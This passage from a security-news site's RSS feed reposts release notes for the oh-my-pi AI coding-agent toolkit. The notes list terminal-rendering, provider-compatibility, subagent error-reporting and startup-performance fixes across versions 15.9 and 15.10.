<li>Fixed turn-ending provider errors rendering twice — once as the transcript's inline <code>Error: …</code> line and again in the pinned banner above the editor (added in 15.9.5). The inline line is now suppressed while the same error is mirrored in the banner and restored to the transcript when the banner clears at the next turn, so the error stays in history without the duplicate render at the error moment.</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the <code>/copy last|code|all|cmd</code> subcommands; every copy target is now reachable by picking it in the <code>/copy</code> tree.</li>
</ul>
<h2>@oh-my-pi/hashline</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Changed hashline file section headers from <code>¶PATH#TAG</code> to <code>[PATH#TAG]</code> so model-authored edits use ASCII delimiters instead of a pilcrow sigil.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed missing-header diagnostics and copied-content prefix stripping to consistently teach and recognize 4-hex snapshot tags.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added <code>setPaddingX</code> to <code>Box</code> so horizontal padding can be updated programmatically after creation</li>
<li>Added <code>ScrollView</code>, a fixed-height viewport component for pre-rendered lines with optional right-edge scrollbars and imperative scroll/page controls.</li>
<li>Added optional <code>Terminal.hasEagerEraseScrollbackRisk()</code> so custom/test terminal implementations can override the global ED3-risk profile without mutating the shared <code>TERMINAL</code> object.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed <code>SelectList</code> to render its visible window through <code>ScrollView</code>, replacing the <code>(N/M)</code> text scroll indicator with a uniform right-edge scrollbar (the type-to-search hint line is preserved).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed unknown-viewport deferred renders freezing bottom-anchored live chrome; deferred history mutations can now repaint only the active-grid bottom row with relative cursor movement, so spinner/status tails keep advancing without rewriting rows a scrolled reader can still see.</li>
<li>Fixed autocomplete popups freezing live repaint on ED3-risk macOS/POSIX terminals with unknown native viewport position; direct autocomplete shrink frames now repaint the live viewport without zero-byte deferral and preserve the old bottom anchor when padding can clear stale popup rows without duplicating committed scrollback.</li>
<li>Fixed focused Up/Down navigation on ED3-risk macOS/POSIX terminals replaying the whole transcript after dirty foreground-stream renders; selector/editor frames now repaint non-destructively instead of emitting <code>CSI 3 J</code> on every arrow-key move (<a href="https://github.com/can1357/oh-my-pi/issues/1962" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1962/hovercard">#1962</a>).</li>
<li>Fixed tmux (and screen/zellij) pane scrollback losing the head of a long streamed assistant reply once it grew past the visible pane, and stranding the chrome/footer in pane history after a later collapse — producing the "repeating chunks and missing sections" reporters saw when scrolling back through tmux pane history (<a href="https://github.com/can1357/oh-my-pi/issues/1974" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1974/hovercard">#1974</a>). The renderer's foreground-streaming cap-to-viewport branch (introduced in 15.9.2 for ED3-risk hosts that can checkpoint-rebuild later) also activated inside multiplexers, where checkpoint reconcile is a no-op (<code>refreshNativeScrollbackIfDirty</code> short-circuits because <code>\x1b[3J</code> cannot erase pane history). Every streaming frame clipped <code>lines</code> to the visible tail and reset <code>#scrollbackHighWater</code> to 0, so any row that scrolled above the viewport top was committed nowhere — pane history stayed empty until streaming ended. Meanwhile <code>#planLiveRegionPinnedRender</code> was explicitly disabled for multiplexers, but its <code>#emitLiveRegionPinnedRepaint</code> is built from the exact primitives tmux accepts (relative cursor moves, per-line <code>\x1b[2K</code>, <code>\r\n</code> to scroll the sealed prefix past the viewport bottom) and never emits <code>\x1b[2J</code>/<code>\x1b[3J</code>. The pinned planner now runs in multiplexers too, the cap branch skips them, and the diff/append path commits incrementally into pane history; the actively-mutating live tail stays in the visible viewport only.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(hashline): accept spaces in edit paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4577887168" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1766" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1766/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1766">#1766</a></li>
<li>fix(keybindings): default Ctrl+Q for follow-up so Windows Terminal works by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4594461651" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1905" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1905/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1905">#1905</a></li>
<li>fix(eval): stop detaching the Python kernel's console on Windows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601143511" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1961" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1961/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1961">#1961</a></li>
<li>fix(tui): avoid dirty scrollback replay on arrow input by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601399075" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1963" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1963/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1963">#1963</a></li>
<li>fix(ai): preserve llama.cpp parallel tool arguments by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601897032" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1971" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1971/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1971">#1971</a></li>
<li>fix(tui): honor resume clear replay before initial paint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601998309" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1973" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1973/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1973">#1973</a></li>
<li>fix(tui): commit tmux pane history during streaming via pinned emit by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602156805" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1975" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1975/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1975">#1975</a></li>
<li>fix(lsp): support rust-analyzer workspace loading by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602239510" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1977" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1977/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1977">#1977</a></li>
<li>test(tui): widened slash autocomplete settle slack past debounce jitter by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602571001" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1981" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1981/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1981">#1981</a></li>
<li>fix(coding-agent): guard task renderer against non-array yield slot by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4603076420" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1989" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1989/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1989">#1989</a></li>
<li>fix(coding-agent): honor ttsr.enabled: false in TtsrManager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/QianYan-Art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/QianYan-Art">@QianYan-Art</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4603070748" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1988" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1988/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1988">#1988</a></li>
<li>fix(coding-agent): allow retry without model fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/metaphorics/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/metaphorics">@metaphorics</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596258504" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1929" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1929/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1929">#1929</a></li>
<li>Add ScrollView component by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enieuwy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enieuwy">@enieuwy</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601721650" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1969" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1969/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1969">#1969</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/QianYan-Art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/QianYan-Art">@QianYan-Art</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4603070748" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1988" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1988/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1988">#1988</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.5...v15.9.67"><tt>v15.9.5...v15.9.67</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.10.0]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Added

Added a dependency-free @oh-my-pi/pi-ai/effort module exporting the Effort enum and THINKING_EFFORTS, split out of model-thinking so hot-path consumers can import the thinking levels without pulling in model-thinking and its provider-compat dependency graph. The package bar...]]></description>
<link>https://tsecurity.de/de/3580231/tools/v15100/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580231/tools/v15100/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:53 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Added a dependency-free <code>@oh-my-pi/pi-ai/effort</code> module exporting the <code>Effort</code> enum and <code>THINKING_EFFORTS</code>, split out of <code>model-thinking</code> so hot-path consumers can import the thinking levels without pulling in <code>model-thinking</code> and its provider-compat dependency graph. The package barrel still re-exports both names, so existing imports are unaffected.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed Antigravity usage provider emitting one bar per model instead of deduplicating by tier — a single account's 15+ model entries now collapse to one bar per tier, matching the shared-quota reality of the upstream API.</p>
</li>
<li>
<p>Fixed Antigravity usage reports missing <code>email</code> and <code>accountId</code> in metadata, so the <code>/usage</code> display and the deduplicator can associate reports with their credentials.</p>
</li>
<li>
<p>Fixed usage-report dedup ignoring <code>projectId</code> for Google Cloud providers, preventing duplicate credential entries from being recognized as the same account.</p>
</li>
<li>
<p>Fixed Cloud Code Assist (Antigravity / Gemini CLI) rejecting the <code>github</code> tool with HTTP 400 when the <code>pr</code> parameter schema contained <code>anyOf: [string, array]</code>. The CCA mixed-type combiner collapse picked the first non-null type (<code>string</code>) but indiscriminately copied type-specific keys from variant branches — <code>items</code> from the array variant leaked onto the string-typed result, producing <code>{type: "string", items: {...}}</code> which Google's API rejects as invalid. The collapse now filters merged variant fields against the winning type's allowed key set. (<a href="https://github.com/can1357/oh-my-pi/pull/2002" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2002/hovercard">#2002</a>)</p>
</li>
<li>
<p>Fixed OpenAI Responses-family providers (Codex, OpenAI Responses, Azure Responses) rejecting requests with <code>400 No tool output found for function call …</code> after the user branched/navigated the session tree to a node that ends on a tool call (the tool-result child is dropped from the reconstructed history) or after a turn was aborted/crashed between the call streaming and its result persisting. The converters now synthesize a placeholder <code>function_call_output</code>/<code>custom_tool_call_output</code> immediately after any unpaired <code>function_call</code>/<code>custom_tool_call</code>, symmetric to the existing orphan-output repair, so the model still sees the call and can recover instead of the whole request 400ing.</p>
</li>
<li>
<p>Fixed Anthropic-compatible reasoning endpoints losing prior-turn reasoning on continuation requests when they emit unsigned <code>thinking</code> blocks. <code>convertAnthropicMessages</code> treated unknown endpoints as signature-enforcing and demoted unsigned reasoning to <code>type: "text"</code>, which destabilized tool-call argument serialization on the next turn — the upstream symptom behind the <code>args?.ops?.map is not a function</code> crash reported against the <code>todo</code> tool. Official <code>api.anthropic.com</code> keeps the conservative text fallback; non-official <code>anthropic-messages</code> reasoning models now replay unsigned reasoning as native <code>type: "thinking"</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2005" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2005/hovercard">#2005</a>).</p>
</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Replaced the <code>providers.parallelFetch</code> boolean setting with the <code>providers.fetch</code> enum (<code>auto</code> / <code>native</code> / <code>trafilatura</code> / <code>lynx</code> / <code>parallel</code> / <code>jina</code>) that selects the URL reader-backend priority for the <code>read</code>/<code>fetch</code> tool, mirroring <code>providers.image</code>/<code>providers.webSearch</code>. Existing configs are migrated automatically: the legacy key is dropped and the new <code>auto</code> default applies.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added a GitHub Actions read handler to the <code>read</code>/web-fetch GitHub scraper. Fetching <code>github.com/{owner}/{repo}/actions/runs/{id}</code> renders the run metadata plus a per-job breakdown (steps listed for any job that did not succeed), and <code>…/actions/runs/{id}/job/{id}</code> (also the API-style <code>…/jobs/{id}</code>) renders a single job's metadata, step table, and full plain-text logs. Logs are fetched via the <code>actions/jobs/{id}/logs</code> redirect using <code>GITHUB_TOKEN</code>/<code>GH_TOKEN</code> when present, with the per-line ISO timestamp prefix and leading BOM stripped; the section degrades to an explicit notice when logs are unavailable (no token, private repo, or expired/unfinalized run).</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed eval <code>agent()</code> subagents so they are never subject to the <code>task.maxRuntimeMs</code> wall-clock cap. The parent cell's idle watchdog is already suspended for the entire bridge call (<code>withBridgeTimeoutPause</code>), so a long-running fan-out/recovery workflow must not be killed by a per-subagent runtime limit. <code>runEvalAgent</code> now passes <code>maxRuntimeMs: 0</code> to <code>runSubprocess</code>, which honors an explicit <code>ExecutorOptions.maxRuntimeMs</code> override over the inherited setting.</li>
<li>Changed interactive timing behavior so <code>PI_TIMING=x pi</code> preloads the module timer before the CLI graph loads and includes the <code>(modules)</code> report. <code>PI_TIMING=full</code> now also exits after printing, matching <code>PI_TIMING=x</code>, so full module reports are usable for cold-start measurement without launching the TUI. Added the root <code>dev:timing</code> script for the same profiled startup path.</li>
<li>Changed coding-agent startup imports so normal TUI launch imports <code>InteractiveMode</code> directly, keeps print/RPC/ACP runners on their branch-only paths, and moves marketplace auto-update work behind a lightweight deferred starter.</li>
<li>Changed cold-launch setup gating so the full setup wizard (every scene plus the overlay and their TUI/OAuth/web-search/theme dependencies) is no longer statically imported by <code>main.ts</code>. The current setup version now lives in a tiny dependency-free <code>modes/setup-version</code> module, and the wizard barrel is lazy-loaded only when the stored setup version is stale or the wizard is forced — the common up-to-date launch skips loading it entirely.</li>
<li>Changed cold-launch startup imports so the hot-path CLI files no longer pull the full <code>@oh-my-pi/pi-ai</code> barrel: <code>commands/launch.ts</code> and <code>cli/args.ts</code> import <code>THINKING_EFFORTS</code>/<code>Effort</code> from the tiny <code>@oh-my-pi/pi-ai/effort</code> module, and <code>config/model-registry.ts</code> now imports its ~20 symbols from narrow subpaths (<code>api-registry</code>, <code>model-cache</code>, <code>model-manager</code>, <code>model-thinking</code>, <code>models</code>, <code>provider-models</code>, <code>types</code>, <code>utils/event-stream</code>) instead of the barrel — so launching no longer eagerly loads every provider, auth, OAuth, and usage module re-exported by the barrel.</li>
<li>Changed the <code>read</code>/<code>fetch</code> HTML reader-backend priority to <code>native &gt; trafilatura &gt; lynx &gt; parallel &gt; jina</code> (was <code>parallel &gt; jina &gt; trafilatura &gt; lynx &gt; native</code>). The in-process native <code>htmlToMarkdown</code> runs first — instant, no network, full-fidelity — so the common case no longer depends on a remote service, and a stalled remote backend can no longer mask it. Selecting a specific backend via <code>providers.fetch</code> tries it first, then the rest fall back. The low-quality gate (<code>&gt;100</code> chars and not <code>isLowQualityOutput</code>) now applies uniformly to every backend; when none clears it, the highest-priority substantial-but-low-quality output is still surfaced so the <code>llms.txt</code> / document-extraction fallbacks keep running.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed eval <code>agent()</code> failures surfacing as an opaque <code>RuntimeError: bridge call '__agent__' failed</code> with no reason. When a subagent aborted, <code>runEvalAgent</code> built its failure message with <code>result.error ?? result.stderr ?? result.abortReason ?? …</code>, but <code>result.stderr</code> is the empty string on a clean abort (and <code>result.error</code> is gated on a non-empty <code>stderr</code>), so the nullish chain stopped at <code>""</code> and never reached <code>abortReason</code>. The empty string propagated through the loopback bridge and the Python prelude's <code>RuntimeError(msg or "bridge call … failed")</code>, discarding the real reason. The chain now uses <code>||</code> so an empty <code>stderr</code> falls through to <code>abortReason</code>.</li>
<li>Fixed subagent aborts being mislabeled as the generic "Cancelled by caller" when the abort originated inside the subagent's own turn (<code>stopReason: "aborted"</code> with no caller signal and no runtime-limit timer). <code>runSubprocess</code> now prefers the aborted assistant message's <code>errorMessage</code> (e.g. "Request was aborted" or a specific stream error) for that case, while a real caller signal or wall-clock abort still reports its precise reason.</li>
<li>Fixed a long streaming tool preview that alone overflows the viewport dropping its scrolled-off head on ED3-risk terminals (ghostty/kitty/iTerm2/…). When expanded with <code>Ctrl+O</code>, a streaming <code>write</code> (content streaming in) and a streaming <code>eval</code> (stdout streaming below its fixed code cell) render top-anchored and grow append-only, but the tool block never reported itself append-only to the transcript, so the renderer's commit-as-you-go boundary stopped at the block start and the earlier rows that scrolled above the viewport were committed nowhere — they vanished, leaving the preview looking like a viewport-tall circular buffer. <code>ToolExecutionComponent</code> now implements <code>isTranscriptBlockAppendOnly()</code> (gated on <code>isTranscriptBlockFinalized()</code>, so it also covers partial-result streams like <code>eval</code>), delegating to a renderer-declared <code>isStreamingPreviewAppendOnly</code> predicate so the expanded stream commits its head exactly like a streamed assistant reply. Collapsed previews (bounded sliding tail windows) and finalized/result previews (which can collapse to a capped view) stay deferred.</li>
<li>Fixed <code>read</code>/<code>fetch</code> silently dropping whole list sections on pages with malformed list markup — stray <code>&lt;img&gt;</code>, text, or <code>&lt;video&gt;</code> nodes as direct children of <code>&lt;ul&gt;</code> (e.g. the Alacritty changelog). The Jina reader (previously tried before the local renderers) mis-extracts such lists, returning empty <code>Added</code>/<code>Changed</code> sections; the native in-process renderer now runs first and preserves the full content.</li>
<li>Fixed <code>/usage</code> aggregate amount fallback using raw <code>limits.length</code> as account count — now counts unique <code>accountId</code> values from limit scopes, so N limits from a single account no longer display as "N accts".</li>
<li>Fixed <code>/usage</code> account labeling falling back to "account N" for providers that use <code>projectId</code> as their primary identity (e.g. Google Antigravity, Gemini CLI) — <code>projectId</code> from report metadata is now considered before the generic fallback.</li>
<li>Fixed the <code>todo</code> tool's TUI renderer crashing with <code>TypeError: args?.ops?.map is not a function</code> when a streaming tool-call delta surfaced a non-array <code>ops</code> field (mid-stream <code>parseStreamingJson</code> shapes like <code>{ ops: "[{" }</code>, or <code>[null]</code> entries before fields arrive). The renderer now treats non-array <code>ops</code>, non-object entries, and non-array <code>items</code> as missing structure instead of crashing, which also stops the spam-warn cascade that followed each malformed delta. Paired with the Anthropic-side reasoning-replay fix in <code>packages/ai</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2005" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2005/hovercard">#2005</a>).</li>
<li>Fixed Python eval <code>agent()</code> collapsing subagent runtime-limit aborts (and other empty-stderr aborts) into a generic <code>RuntimeError: bridge call '__agent__' failed</code>. <code>runEvalAgent</code> coalesced the failure message with <code>??</code>, which stopped at the empty <code>stderr</code> and never reached <code>abortReason</code>, shipping an empty error through the loopback bridge. The bridge now prefers <code>abortReason</code> for aborts and trims empty <code>stderr</code>/<code>error</code> out of the fallback chain, so Python surfaces the actionable reason (e.g. <code>Subagent runtime limit exceeded (task.maxRuntimeMs=900000)</code>) (<a href="https://github.com/can1357/oh-my-pi/issues/2006" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2006/hovercard">#2006</a>).</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Changed</h3>
<ul>
<li>Reworked the DEC 2026 synchronized-output default policy: a positive DECRQM mode-2026 report now <strong>enables</strong> sync (previously a report could only disable it), so conservatively defaulted-off hosts that actually support it — current Zellij, tmux master, foot, contour, mintty — are upgraded at runtime. The static allowlist also covers Alacritty and the VS Code terminal, honors a <code>TERM_FEATURES</code> <code>Sy</code> advertisement and <code>WT_SESSION</code> (Windows Terminal / WSL), and no longer blanket-disables SSH (DEC 2026 passes through to the outer terminal). Risky multiplexers still start off and rely on the probe. Added <code>synchronizedOutputUserOverride()</code> as the shared opt-out/force resolver.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed WSL/Windows Terminal row flicker while typing by repainting changed text rows before clearing only their stale suffix (<a href="https://github.com/can1357/oh-my-pi/issues/2011" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2011/hovercard">#2011</a>).</li>
<li>Fixed terminals that support DEC 2026 still tearing/flickering because the renderer ignored a positive DECRQM capability report and kept synchronized output off — most visibly WSL + Windows Terminal, Alacritty (≥0.13), and the VS Code terminal (≥1.108), which were detected yet refused sync.</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Changed</h3>
<ul>
<li><code>logger.printTimings()</code> (the <code>PI_TIMING</code> startup tree) now surfaces two previously-invisible regions: a <code>(before instrumentation)</code> line for runtime init / uncaptured pre-marker work, and an <code>(unattributed self)</code> line for the root span's own untimed work so the gap between visible top-level spans and <code>Total</code> is no longer swallowed. <code>Total</code> is now labelled <code>(since first marker)</code> to make the window explicit. The restored <code>module-timer.ts</code> preload can feed module spans into the report: each module records <code>onLoad</code> → final top-level marker as <code>total</code>, a prepended body marker → final marker as <code>body/TLA</code>, and resolved static imports as a bounded dependency tree so the report separates graph wait from actual top-level module work.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(ai): strip type-specific keys when CCA mixed-type collapse picks non-matching type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basedcorp99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basedcorp99">@basedcorp99</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604403802" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2002" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2002/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2002">#2002</a></li>
<li>fix(usage): sanitize Antigravity /usage display — dedupe by tier, fix account count, merge window data by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basedcorp99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basedcorp99">@basedcorp99</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604535282" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2004" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2004/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2004">#2004</a></li>
<li>fix(coding-agent): harden todo renderer against malformed streaming args by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604606095" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2007" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2007/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2007">#2007</a></li>
<li>fix(eval): surface subagent abort reason through Python agent() bridge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604617408" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2008" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2008/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2008">#2008</a></li>
<li>docs(web-search): updated kagi description to v1 endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604730736" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2010" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2010/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2010">#2010</a></li>
<li>fix(tui): reduce WSL row flicker while typing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605011322" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2012" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2012/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2012">#2012</a></li>
<li>fix(debug): wait for dlv unix socket before connecting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605183307" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2014" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2014/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2014">#2014</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.69...v15.10.0"><tt>v15.9.69...v15.10.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.10.1]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Added

Added optional promptCacheKey support to AgentOptions and Agent via a new promptCacheKey property so providers can receive a caller-provided prompt cache key
Added optional ApiKeyResolveContext parameter to getApiKey in AgentOptions and AgentLoopConfig so key resolv...]]></description>
<link>https://tsecurity.de/de/3580230/tools/v15101/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580230/tools/v15101/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:51 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
